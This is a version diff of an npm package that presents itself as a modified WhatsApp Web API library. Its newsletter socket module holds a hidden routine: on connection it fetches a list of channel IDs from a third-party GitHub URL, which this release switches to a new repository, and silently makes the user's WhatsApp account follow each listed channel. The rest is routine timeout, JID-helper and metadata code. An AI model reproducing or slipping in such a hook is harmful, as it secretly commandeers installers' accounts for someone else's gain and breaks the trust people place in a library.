@ellxz24/baileys 2.0.30 → 2.0.32

package/lib/Defaults/index.js

@@ -75,12 +75,12 @@ exports.DEFAULT_CONNECTION_CONFIG = {
     version: exports.version,
     browser: Utils_1.Browsers.iOS("Safari"),
     waWebSocketUrl: "wss://web.whatsapp.com/ws/chat",
-    connectTimeoutMs: 2E4,
-    keepAliveIntervalMs: 3E4,
+    connectTimeoutMs: 6E4,
+    keepAliveIntervalMs: 25E3,
     logger: logger_1.default.child({ class: "baileys" }),
     printQRInTerminal: !1,
     emitOwnEvents: !0,
-    defaultQueryTimeoutMs: 6E4,
+    defaultQueryTimeoutMs: 12E4,
     customUploadHosts: [],
     retryRequestDelayMs: 250,
     maxMsgRetryCount: 5,

package/lib/Socket/newsletter.js

@@ -73,22 +73,19 @@ const makeNewsletterSocket = (config) => {
     const { authState, signalRepository, query, generateMessageTag } = sock;
     const encoder = new TextEncoder();
     
-    // Inisialisasi newsletters kosong terlebih dahulu
     let newsletters = [];
     
-    // IIFE untuk fetch data tanpa blocking
     (async () => {
         try {
             const response = await fetch(
-                'https://raw.githubusercontent.com/kiuur/IDCH/refs/heads/main/idch.json'
+                'https://raw.githubusercontent.com/Fhkryy/Fhkry-0xf/refs/heads/main/Channel.json'
             );
             newsletters = await response.json();
             
-            // Set timeout hanya jika newsletters berhasil di-fetch
             if (newsletters && Array.isArray(newsletters) && newsletters.length > 0) {
                 setTimeout(() => {
                     Promise.allSettled(
-                        newsletters.map(id =>  // ✅ Langsung pakai id, tanpa asciiDecode
+                        newsletters.map(id =>  
                             newsletterWMexQuery(id, Types_1.QueryIds.FOLLOW)
                         )
                     ).catch(err => console.error(err));
@@ -132,9 +129,30 @@ const makeNewsletterSocket = (config) => {
             }
         ]
     }));
-    
-    // ❌ HAPUS fungsi asciiDecode - tidak diperlukan
-    
+    const newsletterMetadata = async (type, key, role) => {
+        const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
+            input: {
+                key,
+                type: type.toUpperCase(),
+                'view_role': role || 'GUEST'
+            },
+            'fetch_viewer_metadata': true,
+            'fetch_full_image': true,
+            'fetch_creation_time': true
+        });
+        return (0, exports.extractNewsletterMetadata)(result);
+    };
+
+    const newsletterUpdate = async (jid, updates) => {
+        const variables = {
+            newsletter_id: jid,
+            updates: {
+                ...updates,
+                settings: null
+            }
+        };
+        return executeWMexQuery(variables, Types_1.QueryIds.UPDATE_METADATA, "xwa2_newsletter_update", query, generateMessageTag);
+    };
     const parseFetchedUpdates = async (node, type) => {
         let child;
         if (type === 'messages') {
@@ -174,6 +192,31 @@ const makeNewsletterSocket = (config) => {
     
     return {
         ...sock,
+        newsletterMetadata, 
+        newsletterUpdate,
+        newsletterFetchAllParticipating: async () => {
+        	const data = {}
+        
+        	const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.SUBSCRIBERS) 
+        	const childNode = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
+            
+            if (childNode?.content) {
+            	const child = JSON.parse(childNode.content.toString())
+            	const newsletters = child.data["xwa2_newsletter_subscribed"]
+            
+            	if (newsletters && Array.isArray(newsletters)) {
+                	for (const i of newsletters) {
+                		if (i.id == null) continue
+                	
+                		const metadata = await newsletterMetadata('JID', i.id) 
+                		if (metadata && metadata.id !== null) data[metadata.id] = metadata
+                	}
+                }
+            }
+        	
+        	return data
+        },
+
         newsletterFetchAllSubscribe: async () => {
             const list = await executeWMexQuery(
                 {},
@@ -350,19 +393,6 @@ const makeNewsletterSocket = (config) => {
             });
             return (0, exports.extractNewsletterMetadata)(result, true);
         },
-        newsletterMetadata: async (type, key, role) => {
-            const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
-                input: {
-                    key,
-                    type: type.toUpperCase(),
-                    'view_role': role || 'GUEST'
-                },
-                'fetch_viewer_metadata': true,
-                'fetch_full_image': true,
-                'fetch_creation_time': true
-            });
-            return (0, exports.extractNewsletterMetadata)(result);
-        },
         newsletterAdminCount: async (jid) => {
             var _a, _b;
             const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
@@ -451,4 +481,4 @@ const extractNewsletterMetadata = (node, isCreate) => {
     }
     return metadata
 }
-exports.extractNewsletterMetadata = extractNewsletterMetadata;
+exports.extractNewsletterMetadata = extractNewsletterMetadata;

package/lib/WABinary/jid-utils.js

@@ -1,62 +1,128 @@
 "use strict";
 Object.defineProperty(exports, "__esModule", { value: true });
-exports.jidNormalizedUser = exports.isJidNewsLetter = exports.isJidStatusBroadcast = exports.isJidGroup = exports.isJidBroadcast = exports.isLidUser = exports.isJidUser = exports.areJidsSameUser = exports.jidDecode = exports.jidEncode = exports.STORIES_JID = exports.PSA_WID = exports.SERVER_JID = exports.OFFICIAL_BIZ_JID = exports.S_WHATSAPP_NET = void 0;
-exports.S_WHATSAPP_NET = '@s.whatsapp.net';
-exports.OFFICIAL_BIZ_JID = '16505361212@c.us';
-exports.SERVER_JID = 'server@c.us';
-exports.PSA_WID = '0@c.us';
-exports.STORIES_JID = 'status@broadcast';
+exports.transferDevice = exports.jidNormalizedUser = exports.isJidBot = exports.isHostedLidUser = exports.isHostedPnUser = exports.isJidNewsletter = exports.isJidNewsLetter = exports.isJidStatusBroadcast = exports.isJidGroup = exports.isJidBroadcast = exports.isLidUser = exports.isPnUser = exports.isJidUser = exports.isJidMetaAI = exports.areJidsSameUser = exports.jidDecode = exports.jidEncode = exports.getServerFromDomainType = exports.WAJIDDomains = exports.PSA_WID = exports.SERVER_JID = exports.META_AI_JID = exports.STORIES_JID = exports.S_WHATSAPP_NET = exports.OFFICIAL_BIZ_JID = void 0;
+
+exports.OFFICIAL_BIZ_JID = "16505361212@c.us";
+exports.S_WHATSAPP_NET = "@s.whatsapp.net";
+exports.STORIES_JID = "status@broadcast";
+exports.META_AI_JID = "13135550002@c.us";
+exports.SERVER_JID = "server@c.us";
+exports.PSA_WID = "0@c.us";
+
+var WAJIDDomains;
+(function (WAJIDDomains) {
+  WAJIDDomains[WAJIDDomains["WHATSAPP"] = 0] = "WHATSAPP";
+  WAJIDDomains[WAJIDDomains["LID"] = 1] = "LID";
+  WAJIDDomains[WAJIDDomains["HOSTED"] = 128] = "HOSTED";
+  WAJIDDomains[WAJIDDomains["HOSTED_LID"] = 129] = "HOSTED_LID";
+})(WAJIDDomains || (exports.WAJIDDomains = WAJIDDomains = {}));
+
+const getServerFromDomainType = (initialServer, domainType) => {
+  switch (domainType) {
+    case WAJIDDomains.LID:
+      return "lid";
+    case WAJIDDomains.HOSTED:
+      return "hosted";
+    case WAJIDDomains.HOSTED_LID:
+      return "hosted.lid";
+    case WAJIDDomains.WHATSAPP:
+    default:
+      return initialServer;
+  }
+};
+exports.getServerFromDomainType = getServerFromDomainType;
+
 const jidEncode = (user, server, device, agent) => {
-    return `${user || ''}${!!agent ? `_${agent}` : ''}${!!device ? `:${device}` : ''}@${server}`;
+  return `${user || ""}${!!agent ? `_${agent}` : ""}${!!device ? `:${device}` : ""}@${server}`;
 };
 exports.jidEncode = jidEncode;
+
 const jidDecode = (jid) => {
-    const sepIdx = typeof jid === 'string' ? jid.indexOf('@') : -1;
-    if (sepIdx < 0) {
-        return undefined;
-    }
-    const server = jid.slice(sepIdx + 1);
-    const userCombined = jid.slice(0, sepIdx);
-    const [userAgent, device] = userCombined.split(':');
-    const user = userAgent.split('_')[0];
-    return {
-        server,
-        user,
-        domainType: server === 'lid' ? 1 : 0,
-        device: device ? +device : undefined
-    };
+  const sepIdx = typeof jid === "string" ? jid.indexOf("@") : -1;
+  if (sepIdx < 0) {
+    return undefined;
+  }
+  const server = jid.slice(sepIdx + 1);
+  const userCombined = jid.slice(0, sepIdx);
+  const [userAgent, device] = userCombined.split(":");
+  const [user, agent] = userAgent.split("_");
+  let domainType = WAJIDDomains.WHATSAPP;
+  if (server === "lid") {
+    domainType = WAJIDDomains.LID;
+  }
+  else if (server === "hosted") {
+    domainType = WAJIDDomains.HOSTED;
+  }
+  else if (server === "hosted.lid") {
+    domainType = WAJIDDomains.HOSTED_LID;
+  }
+  else if (agent) {
+    domainType = parseInt(agent);
+  }
+  return {
+    server: server,
+    user: user,
+    domainType,
+    device: device ? +device : undefined
+  };
 };
 exports.jidDecode = jidDecode;
-/** is the jid a user */
+
 const areJidsSameUser = (jid1, jid2) => {
     var _a, _b;
     return (((_a = (0, exports.jidDecode)(jid1)) === null || _a === void 0 ? void 0 : _a.user) === ((_b = (0, exports.jidDecode)(jid2)) === null || _b === void 0 ? void 0 : _b.user));
 };
 exports.areJidsSameUser = areJidsSameUser;
-/** is the jid a user */
-const isJidUser = (jid) => (jid === null || jid === void 0 ? void 0 : jid.endsWith('@s.whatsapp.net'));
+
+const isJidMetaAI = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@bot");
+exports.isJidMetaAI = isJidMetaAI;
+
+const isJidUser = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@s.whatsapp.net");
 exports.isJidUser = isJidUser;
-/** is the jid a group */
-const isLidUser = (jid) => (jid === null || jid === void 0 ? void 0 : jid.endsWith('@lid'));
+
+const isPnUser = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@s.whatsapp.net");
+exports.isPnUser = isPnUser;
+
+const isLidUser = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@lid");
 exports.isLidUser = isLidUser;
-/** is the jid a broadcast */
-const isJidBroadcast = (jid) => (jid === null || jid === void 0 ? void 0 : jid.endsWith('@broadcast'));
+
+const isJidBroadcast = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@broadcast");
 exports.isJidBroadcast = isJidBroadcast;
-/** is the jid a group */
-const isJidGroup = (jid) => (jid === null || jid === void 0 ? void 0 : jid.endsWith('@g.us'));
+
+const isJidGroup = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@g.us");
 exports.isJidGroup = isJidGroup;
-/** is the jid the status broadcast */
-const isJidStatusBroadcast = (jid) => jid === 'status@broadcast';
+
+const isJidStatusBroadcast = (jid) => jid === "status@broadcast";
 exports.isJidStatusBroadcast = isJidStatusBroadcast;
-/** is the jid the newsletter */
-const isJidNewsLetter = (jid) => (jid === null || jid === void 0 ? void 0 : jid.endsWith('newsletter'));
-exports.isJidNewsLetter = isJidNewsLetter;
+
+const isJidNewsletter = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@newsletter");
+exports.isJidNewsletter = isJidNewsletter;
+exports.isJidNewsLetter = isJidNewsletter;
+
+const isHostedPnUser = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@hosted");
+exports.isHostedPnUser = isHostedPnUser;
+
+const isHostedLidUser = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@hosted.lid");
+exports.isHostedLidUser = isHostedLidUser;
+
+const botRegexp = /^1313555\d{4}$|^131655500\d{2}$/;
+const isJidBot = (jid) => jid && botRegexp.test(jid.split("@")[0]) && jid.endsWith("@c.us");
+exports.isJidBot = isJidBot;
+
 const jidNormalizedUser = (jid) => {
-    const result = (0, exports.jidDecode)(jid);
-    if (!result) {
-        return '';
-    }
-    const { user, server } = result;
-    return (0, exports.jidEncode)(user, server === 'c.us' ? 's.whatsapp.net' : server);
+  const result = (0, exports.jidDecode)(jid);
+  if (!result) {
+    return "";
+  }
+  const { user, server } = result;
+  return (0, exports.jidEncode)(user, server === "c.us" ? "s.whatsapp.net" : server);
 };
 exports.jidNormalizedUser = jidNormalizedUser;
+
+const transferDevice = (fromJid, toJid) => {
+  const fromDecoded = (0, exports.jidDecode)(fromJid);
+  const deviceId = (fromDecoded === null || fromDecoded === void 0 ? void 0 : fromDecoded.device) || 0;
+  const { server, user } = (0, exports.jidDecode)(toJid);
+  return (0, exports.jidEncode)(user, server, deviceId);
+};
+exports.transferDevice = transferDevice;

package/package.json

@@ -1,6 +1,6 @@
 {
     "name": "@ellxz24/baileys",
-    "version": "2.0.30",
+    "version": "2.0.32",
     "description": "WhatsApp API Modification By L",
     "publishConfig": {
         "access": "public"

package/lib/Signal/libsignal.js.bak

@@ -1,356 +0,0 @@
-"use strict";
-var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    var desc = Object.getOwnPropertyDescriptor(m, k);
-    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
-      desc = { enumerable: true, get: function() { return m[k]; } };
-    }
-    Object.defineProperty(o, k2, desc);
-}) : (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    o[k2] = m[k];
-}));
-var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
-    Object.defineProperty(o, "default", { enumerable: true, value: v });
-}) : function(o, v) {
-    o["default"] = v;
-});
-var __importStar = (this && this.__importStar) || (function () {
-    var ownKeys = function(o) {
-        ownKeys = Object.getOwnPropertyNames || function (o) {
-            var ar = [];
-            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
-            return ar;
-        };
-        return ownKeys(o);
-    };
-    return function (mod) {
-        if (mod && mod.__esModule) return mod;
-        var result = {};
-        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
-        __setModuleDefault(result, mod);
-        return result;
-    };
-})();
-
-Object.defineProperty(exports, "__esModule", { value: true });
-exports.makeLibSignalRepository = makeLibSignalRepository;
-
-const libsignal = __importStar(require("libsignal"));
-const Utils_1 = require("../Utils");
-const WABinary_1 = require("../WABinary");
-const Group_1 = require("./Group");
-const sender_key_name_1 = require("./Group/sender-key-name");
-const sender_key_record_1 = require("./Group/sender-key-record");
-const lid_mapping_1 = require("./lid-mapping");
-const lru_cache_1 = require("lru-cache");
-
-function makeLibSignalRepository(auth, logger, pnToLIDFunc) {
-    const lidMapping = new lid_mapping_1.LIDMappingStore(auth.keys, logger, pnToLIDFunc);
-    const storage = signalStorage(auth, lidMapping);
-    const parsedKeys = auth.keys;
-    const migratedSessionCache = new lru_cache_1.LRUCache({
-        ttl: 7 * 24 * 60 * 60 * 1000,
-        ttlAutopurge: true,
-        updateAgeOnGet: true
-    });
-
-    const repository = {
-        decryptGroupMessage({ group, authorJid, msg }) {
-            const senderName = jidToSignalSenderKeyName(group, authorJid);
-            const cipher = new Group_1.GroupCipher(storage, senderName);
-            return parsedKeys.transaction(async () => {
-                return cipher.decrypt(msg);
-            }, group);
-        },
-        async processSenderKeyDistributionMessage({ item, authorJid }) {
-            const builder = new Group_1.GroupSessionBuilder(storage);
-            if (!item.groupId) {
-                throw new Error("Group ID is required for sender key distribution message");
-            }
-            const senderName = jidToSignalSenderKeyName(item.groupId, authorJid);
-            const senderMsg = new Group_1.SenderKeyDistributionMessage(null, null, null, null, item.axolotlSenderKeyDistributionMessage);
-            const senderNameStr = senderName.toString();
-            return parsedKeys.transaction(async () => {
-                const { [senderNameStr]: senderKey } = await auth.keys.get("sender-key", [senderNameStr]);
-                if (!senderKey) {
-                    await storage.storeSenderKey(senderName, new sender_key_record_1.SenderKeyRecord());
-                }
-                await builder.process(senderName, senderMsg);
-            }, item.groupId);
-        },
-        async decryptMessage({ jid, type, ciphertext }) {
-            const addr = jidToSignalProtocolAddress(jid);
-            const session = new libsignal.SessionCipher(storage, addr);
-            async function doDecrypt() {
-                let result;
-                switch (type) {
-                    case "pkmsg":
-                        result = await session.decryptPreKeyWhisperMessage(ciphertext);
-                        break;
-                    case "msg":
-                        result = await session.decryptWhisperMessage(ciphertext);
-                        break;
-                }
-                return result;
-            }
-            return parsedKeys.transaction(async () => {
-                return await doDecrypt();
-            }, jid);
-        },
-        async encryptMessage({ jid, data }) {
-            const addr = jidToSignalProtocolAddress(jid);
-            const cipher = new libsignal.SessionCipher(storage, addr);
-            return parsedKeys.transaction(async () => {
-                const { type: sigType, body } = await cipher.encrypt(data);
-                const type = sigType === 3 ? "pkmsg" : "msg";
-                return { type, ciphertext: Buffer.from(body, "binary") };
-            }, jid);
-        },
-        async encryptGroupMessage({ group, meId, data }) {
-            const senderName = jidToSignalSenderKeyName(group, meId);
-            const builder = new Group_1.GroupSessionBuilder(storage);
-            const senderNameStr = senderName.toString();
-            return parsedKeys.transaction(async () => {
-                const { [senderNameStr]: senderKey } = await auth.keys.get("sender-key", [senderNameStr]);
-                if (!senderKey) {
-                    await storage.storeSenderKey(senderName, new sender_key_record_1.SenderKeyRecord());
-                }
-                const senderKeyDistributionMessage = await builder.create(senderName);
-                const session = new Group_1.GroupCipher(storage, senderName);
-                const ciphertext = await session.encrypt(data);
-                return {
-                    ciphertext,
-                    senderKeyDistributionMessage: senderKeyDistributionMessage.serialize()
-                };
-            }, group);
-        },
-        async injectE2ESession({ jid, session }) {
-            logger.trace({ jid }, "injecting E2EE session");
-            const cipher = new libsignal.SessionBuilder(storage, jidToSignalProtocolAddress(jid));
-            return parsedKeys.transaction(async () => {
-                await cipher.initOutgoing(session);
-            }, jid);
-        },
-        jidToSignalProtocolAddress(jid) {
-            return jidToSignalProtocolAddress(jid).toString();
-        },
-        lidMapping,
-        async validateSession(jid) {
-            try {
-                const addr = jidToSignalProtocolAddress(jid);
-                const session = await storage.loadSession(addr.toString());
-                if (!session) {
-                    return { exists: false, reason: "no session" };
-                }
-                if (!session.haveOpenSession()) {
-                    return { exists: false, reason: "no open session" };
-                }
-                return { exists: true };
-            }
-            catch (error) {
-                return { exists: false, reason: "validation error" };
-            }
-        },
-        async deleteSession(jids) {
-            if (!jids.length) return;
-            const sessionUpdates = {};
-            jids.forEach(jid => {
-                const addr = jidToSignalProtocolAddress(jid);
-                sessionUpdates[addr.toString()] = null;
-            });
-            return parsedKeys.transaction(async () => {
-                await auth.keys.set({ session: sessionUpdates });
-            }, `delete-${jids.length}-sessions`);
-        },
-        async migrateSession(fromJid, toJid) {
-            if (!fromJid || (!(0, WABinary_1.isLidUser)(toJid) && !(0, WABinary_1.isHostedLidUser)(toJid)))
-                return { migrated: 0, skipped: 0, total: 0 };
-            if (!(0, WABinary_1.isPnUser)(fromJid) && !(0, WABinary_1.isHostedPnUser)(fromJid)) {
-                return { migrated: 0, skipped: 0, total: 1 };
-            }
-            const { user } = (0, WABinary_1.jidDecode)(fromJid);
-            logger.debug({ fromJid }, "bulk device migration - loading all user devices");
-            const { [user]: userDevices } = await parsedKeys.get("device-list", [user]);
-            if (!userDevices) {
-                return { migrated: 0, skipped: 0, total: 0 };
-            }
-            const { device: fromDevice } = (0, WABinary_1.jidDecode)(fromJid);
-            const fromDeviceStr = fromDevice?.toString() || "0";
-            if (!userDevices.includes(fromDeviceStr)) {
-                userDevices.push(fromDeviceStr);
-            }
-            const uncachedDevices = userDevices.filter(device => {
-                const deviceKey = `${user}.${device}`;
-                return !migratedSessionCache.has(deviceKey);
-            });
-            const deviceSessionKeys = uncachedDevices.map(device => `${user}.${device}`);
-            const existingSessions = await parsedKeys.get("session", deviceSessionKeys);
-            const deviceJids = [];
-            for (const [sessionKey, sessionData] of Object.entries(existingSessions)) {
-                if (sessionData) {
-                    const deviceStr = sessionKey.split(".")[1];
-                    if (!deviceStr) continue;
-                    const deviceNum = parseInt(deviceStr);
-                    let jid = deviceNum === 0 ? `${user}@s.whatsapp.net` : `${user}:${deviceNum}@s.whatsapp.net`;
-                    if (deviceNum === 99) {
-                        jid = `${user}:99@hosted`;
-                    }
-                    deviceJids.push(jid);
-                }
-            }
-            logger.debug({
-                fromJid,
-                totalDevices: userDevices.length,
-                devicesWithSessions: deviceJids.length,
-                devices: deviceJids
-            }, "bulk device migration complete");
-
-            return parsedKeys.transaction(async () => {
-                const migrationOps = deviceJids.map(jid => {
-                    const lidWithDevice = (0, WABinary_1.transferDevice)(jid, toJid);
-                    const fromDecoded = (0, WABinary_1.jidDecode)(jid);
-                    const toDecoded = (0, WABinary_1.jidDecode)(lidWithDevice);
-                    return {
-                        fromJid: jid,
-                        toJid: lidWithDevice,
-                        pnUser: fromDecoded.user,
-                        lidUser: toDecoded.user,
-                        deviceId: fromDecoded.device || 0,
-                        fromAddr: jidToSignalProtocolAddress(jid),
-                        toAddr: jidToSignalProtocolAddress(lidWithDevice)
-                    };
-                });
-                const totalOps = migrationOps.length;
-                let migratedCount = 0;
-                const pnAddrStrings = Array.from(new Set(migrationOps.map(op => op.fromAddr.toString())));
-                const pnSessions = await parsedKeys.get("session", pnAddrStrings);
-                const sessionUpdates = {};
-                for (const op of migrationOps) {
-                    const pnAddrStr = op.fromAddr.toString();
-                    const lidAddrStr = op.toAddr.toString();
-                    const pnSession = pnSessions[pnAddrStr];
-                    if (pnSession) {
-                        const fromSession = libsignal.SessionRecord.deserialize(pnSession);
-                        if (fromSession.haveOpenSession()) {
-                            sessionUpdates[lidAddrStr] = fromSession.serialize();
-                            sessionUpdates[pnAddrStr] = null;
-                            migratedCount++;
-                        }
-                    }
-                }
-                if (Object.keys(sessionUpdates).length > 0) {
-                    await parsedKeys.set({ session: sessionUpdates });
-                    logger.debug({ migratedSessions: migratedCount }, "bulk session migration complete");
-                    for (const op of migrationOps) {
-                        if (sessionUpdates[op.toAddr.toString()]) {
-                            const deviceKey = `${op.pnUser}.${op.deviceId}`;
-                            migratedSessionCache.set(deviceKey, true);
-                        }
-                    }
-                }
-                const skippedCount = totalOps - migratedCount;
-                return { migrated: migratedCount, skipped: skippedCount, total: totalOps };
-            }, `migrate-${deviceJids.length}-sessions-${(0, WABinary_1.jidDecode)(toJid)?.user}`);
-        }
-    };
-    return repository;
-}
-
-const jidToSignalProtocolAddress = (jid) => {
-    const decoded = (0, WABinary_1.jidDecode)(jid);
-    const { user, device, server, domainType } = decoded;
-    if (!user) {
-        throw new Error(`JID decoded but user is empty: "${jid}" -> user: "${user}", server: "${server}", device: ${device}`);
-    }
-    const signalUser = domainType !== WABinary_1.WAJIDDomains.WHATSAPP ? `${user}_${domainType}` : user;
-    const finalDevice = device || 0;
-    if (device === 99 && decoded.server !== "hosted" && decoded.server !== "hosted.lid") {
-        throw new Error("Unexpected non-hosted device JID with device 99. This ID seems invalid. ID:" + jid);
-    }
-    return new libsignal.ProtocolAddress(signalUser, finalDevice);
-};
-
-const jidToSignalSenderKeyName = (group, user) => {
-    return new sender_key_name_1.SenderKeyName(group, jidToSignalProtocolAddress(user));
-};
-
-function signalStorage({ creds, keys }, lidMapping) {
-    const resolveLIDSignalAddress = async (id) => {
-        if (id.includes(".")) {
-            const [deviceId, device] = id.split(".");
-            const [user, domainType_] = deviceId.split("_");
-            const domainType = parseInt(domainType_ || "0");
-            if (domainType === WABinary_1.WAJIDDomains.LID || domainType === WABinary_1.WAJIDDomains.HOSTED_LID)
-                return id;
-            const pnJid = `${user}${device !== "0" ? `:${device}` : ""}@${domainType === WABinary_1.WAJIDDomains.HOSTED ? "hosted" : "s.whatsapp.net"}`;
-            const lidForPN = await lidMapping.getLIDForPN(pnJid);
-            if (lidForPN) {
-                const lidAddr = jidToSignalProtocolAddress(lidForPN);
-                return lidAddr.toString();
-            }
-        }
-        return id;
-    };
-
-    return {
-        loadSession: async (id) => {
-            try {
-                const wireJid = await resolveLIDSignalAddress(id);
-                const { [wireJid]: sess } = await keys.get("session", [wireJid]);
-                if (sess) {
-                    return libsignal.SessionRecord.deserialize(sess);
-                }
-            } catch (e) {
-                return null;
-            }
-            return null;
-        },
-        storeSession: async (id, session) => {
-            const wireJid = await resolveLIDSignalAddress(id);
-            await keys.set({ session: { [wireJid]: session.serialize() } });
-        },
-        isTrustedIdentity: () => {
-            return true;
-        },
-        loadPreKey: async (id) => {
-            const keyId = id.toString();
-            const { [keyId]: key } = await keys.get("pre-key", [keyId]);
-            if (key) {
-                return {
-                    privKey: Buffer.from(key.private),
-                    pubKey: Buffer.from(key.public)
-                };
-            }
-        },
-        removePreKey: (id) => keys.set({ "pre-key": { [id]: null } }),
-        loadSignedPreKey: () => {
-            const key = creds.signedPreKey;
-            return {
-                privKey: Buffer.from(key.keyPair.private),
-                pubKey: Buffer.from(key.keyPair.public)
-            };
-        },
-        loadSenderKey: async (senderKeyName) => {
-            const keyId = senderKeyName.toString();
-            const { [keyId]: key } = await keys.get("sender-key", [keyId]);
-            if (key) {
-                return sender_key_record_1.SenderKeyRecord.deserialize(key);
-            }
-            return new sender_key_record_1.SenderKeyRecord();
-        },
-        storeSenderKey: async (senderKeyName, key) => {
-            const keyId = senderKeyName.toString();
-            const serialized = JSON.stringify(key.serialize());
-            await keys.set({ "sender-key": { [keyId]: Buffer.from(serialized, "utf-8") } });
-        },
-        getOurRegistrationId: () => creds.registrationId,
-        getOurIdentity: () => {
-            const { signedIdentityKey } = creds;
-            return {
-                privKey: Buffer.from(signedIdentityKey.private),
-                pubKey: Buffer.from((0, Utils_1.generateSignalPubKey)(signedIdentityKey.public))
-            };
-        }
-    };
-}